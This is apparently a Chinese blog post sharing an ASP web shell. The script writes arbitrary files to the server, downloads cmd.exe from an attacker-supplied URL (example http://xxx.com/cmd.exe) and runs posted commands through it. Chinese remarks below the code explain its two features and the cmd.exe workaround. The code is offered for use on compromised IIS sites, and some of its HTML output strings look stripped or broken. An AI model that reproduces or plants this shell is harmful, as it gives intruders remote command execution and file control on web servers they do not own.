幽鬼狼魂

<%
 dim f:dim txt:dim file
 'on error resume next
 selfName = Request.ServerVariables("SCRIPT_NAME")
 if Request.QueryString("downUrl") <> "" then Application("downUrl") = Request.QueryString("downUrl")
 Public Function Echo(ByVal Str)
 	Response.write Str:Response.Flush
 End Function
 path = Request.Form("Path")
 if Trim(path)<>"" then
	txt = Request.Form("txt")
	Set file=fso.CreateTextFile(path,True)
	file.Write txt
	if err = 0 then
		Echo "Success!"
	else
		Echo "unSuccess!"
	end if
	err.clear
 end if
cmdpath = server.mappath("cmd.exe")
if not fso.FileExists(cmdpath) then
	if request("start") = "down" then
		if Application("downUrl") <> "" then
			Set xPost = CreateObject("Microsoft.XMLHTTP")
			xPost.Open "GET",Application("downUrl"),False
			xPost.Send()
			Set sGet = CreateObject("ADODB.Stream")
			sGet.Mode = 3
			sGet.Type = 1
			sGet.Open()
			sGet.Write(xPost.responseBody)
			sGet.SaveToFile cmdpath,2
			set sGet = nothing
			set sPOST = nothing
			Echo "Download Success！"
		else
			Echo "Sorry,CmdUrl is Null in Application! Can not Use Wscript.Shell"
		end if
	end if
end if

 Set file=Nothing
 Echo "
"
 Echo "Path:"
 Echo "
"
 Echo "Now This File Path:"&server.mappath(selfName)&""
 Echo ""
 Echo "
"
 Echo "
"
 Echo "



"

 Echo selfName&"?downUrl=http://xxx.com/cmd.exe
"
 if not fso.FileExists(cmdpath) then
	 if Application("downUrl") = "" then
	 	Echo "DownUrl:




"
	 	Response.end
	 End if
 end if
 Echo "
"
 Echo "
"
 Echo "



"
 Echo ""
  if request("cmd")="exe" then
  	echo ws.exec(cmdPath&" /c "&request.form("cmd")).stdout.readall
  	Application.lock
  	Application("downUrl") = ""
  	Application.unlock
  end if
 Echo "
"
 Echo "Code By:kY1e yU"
%>

一个Asp的小马，仅仅只放了两个大功能，上传文件和执行命令

上传文件的使用方法我就不废话了

执行命令在这个小马运行的时候会提示application的Downurl里面是空的

为什么会这样，因为win主机现在的cmd.exe，普通的IIS站点是无法调用的

只能通过自己上传Cmd.exe来执行命令，我本来的想法是给系统里某个变量值

然后让他持续保存，其实本来没必要让他持续保存在Application里的，

直接给变量值让他下载就完了，在写的时候考虑的太多了，总想着程序在执行完这个操作以后

先不下载，就算用户进行其他操作，这个下载地址都在Application里保存着

这样随时点击下载按钮就是了..应验了一句话叫做脱裤子放屁..多此一举..